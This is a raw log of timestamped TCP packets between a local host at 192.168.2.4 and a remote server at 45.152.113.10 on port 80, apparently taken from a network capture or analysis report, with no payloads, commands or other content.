Sep 11, 2024 22:52:07.954853058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954879999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954900980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954911947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954924107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954942942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954960108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954979897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954988956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955027103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955034018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955075026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955075979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955121994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955132961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955168962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955168962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955215931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955216885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955248117 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955272913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955292940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955295086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955329895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955348015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955360889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955382109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955414057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955425024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955461979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955466986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955496073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955533981 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955547094 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955565929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955598116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955602884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955622911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955641985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955672979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955704927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955723047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955753088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955915928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955964088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.955967903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.955996037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956015110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956043959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956047058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956075907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956099987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956106901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956118107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956156015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956156015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956187963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956219912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956223011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956252098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956252098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956269979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956301928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956335068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956346035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956346035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956366062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956379890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956398010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956417084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956444025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956464052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956478119 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956500053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956522942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956527948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956573963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956576109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956680059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956687927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956739902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956763029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956794024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956814051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956826925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956849098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956872940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956873894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956904888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956923008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956937075 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956949949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.956969023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.956983089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957000971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957011938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957032919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957045078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957065105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957077980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957110882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957114935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957148075 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957161903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957190990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957195044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957226992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957238913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957258940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957281113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957309961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957312107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957344055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957360983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957376003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957387924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957407951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957420111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957439899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957452059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957473040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957482100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957504034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957519054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957536936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957541943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957567930 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957581997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957601070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957613945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957644939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957648993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957693100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957695961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957727909 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957742929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957771063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957777023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957822084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957839966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957887888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957887888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957920074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957937956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957948923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957962036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.957979918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.957993031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958014965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958024979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958045006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958059072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958076954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958092928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958108902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958120108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958142042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958153963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958168983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958184958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958199978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958211899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958231926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958245039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958261967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958275080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958295107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958309889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958327055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958338022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958358049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958369017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958389997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958411932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958421946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958442926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958453894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958468914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958486080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958501101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958518028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958529949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958549976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958561897 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958581924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.958592892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.958626032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042078972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042113066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042145967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042166948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042167902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042249918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042290926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042323112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042354107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042356014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042391062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042392015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042403936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042438030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042469978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042479992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042479992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042514086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042521000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042551994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042567968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042598009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042602062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042634010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042665958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042676926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042700052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042706966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042707920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042748928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042749882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042781115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042814016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042819023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042834997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042866945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042867899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042898893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042912960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042943001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.042946100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042978048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.042989969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043009996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043023109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043042898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043055058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043076038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043091059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043118954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043124914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043157101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043169022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043190002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043201923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043220997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043232918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043252945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043268919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043284893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043297052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043318033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043329954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043349028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043360949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043380976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043436050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043459892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043459892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043483973 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043498039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043545961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043545961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043580055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043590069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043612003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043626070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043646097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043661118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043683052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043689966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043715954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043728113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043747902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043759108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043778896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043791056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043811083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043828011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043843031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043854952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043874025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043888092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043905973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043917894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043937922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043948889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.043971062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.043982029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044003010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044014931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044034958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044047117 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044068098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044078112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044100046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044111013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044146061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044150114 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044182062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044197083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044214964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044226885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044258118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044264078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044307947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044316053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044363976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044364929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044395924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044410944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044428110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044450998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044461012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044471025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044492960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044504881 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044524908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044539928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044558048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044569016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044589043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044600010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044620991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044651985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044668913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044668913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044749022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044754982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044799089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044801950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044835091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044847012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044867039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044893026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044898033 CEST	80	49733	45.152.113.10	192.168.2.4
